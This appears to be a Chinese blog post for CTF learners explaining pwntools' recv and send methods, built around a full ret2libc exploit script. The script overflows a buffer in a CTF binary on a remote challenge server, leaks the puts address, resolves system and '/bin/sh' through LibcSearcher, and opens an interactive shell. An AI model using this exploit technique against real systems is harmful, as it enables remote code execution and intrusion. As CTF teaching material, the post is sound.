pwntools学习

一般在做pwn题,写利用脚本时,会用到recv,send等函数,之前我理解为什么send,不理解recv的作用,现在通过一道题目理解了。下面详细讲解下recv及send的作用。


remote(“一个域名或者ip地址”, 端口) 会连接到我们指定的地址及端口。 然后该函数会返回remote对象 (这里,我们将该对象保存到了变量 c)。remote对象主要用来进行对远程主机的输入输出。
主要方法有:

接收远端传回的数据

interactive() : 在取得shell之后使用,直接进行交互,相当于回到shell的模式。

recv(numb=字节大小, timeout=default) : 接收指定字节数。

recvall() : 一直接收直到达到文件EOF。

recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n。

recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止。

recvrepeat(timeout=default) : 持续接收直到EOF或timeout。

类似于read的作用,读从远端输出的内容。

向远端发送数据

send(data) : 发送数据。

sendline(data) : 发送一行数据,相当于在数据末尾加\n。

类似于write的作用,向远端发送数据。

其实这里可以理解为:向远端send一些内容,然后远端返回一些内容,用recv接收。
下面用一个具体例子来进一步解释:

from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF('./pwn2')
r = remote("campus1.blue-whale.me", 9991)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048519
payload1 = 'a'*92+p32(puts_plt)+p32(main)+p32(puts_got)
r.recvuntil("welcome to ROP world\n")  ##只有接收了前边的输出,才能保证下边接收到的输出是puts_addr。如果没有这行代码,利用失败,因为下边recv()[0:4]接收的可能就是远端返回的其他输出数据,比如“welcome to ROP world\n”的前4个字节。
r.sendline(payload1) ## 向远端发送payload1,会得到远端响应,即put出put的地址
puts_addr=u32(r.recv()[0:4])## 用recv函数接收输出的put地址

libc=LibcSearcher("puts",puts_addr)

libc_base = puts_addr-libc.dump('puts')
sys_addr = libc_base+libc.dump('system')
binsh_addr = libc_base+libc.dump('str_bin_sh')

payload = 'a'*92+p32(sys_addr)+'bbbb'+p32(binsh_addr)
r.sendline(payload)
r.interactive()

由此可见,在写pwn题目利用脚本时,recv方法还是挺重要的,以前我没有理解它的作用,觉得可写可不写,确实有的题目不会影响利用脚本的结果,但是,写上会减少错误的发生。

参考

https://www.jianshu.com/p/8d6b605eb7fc

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐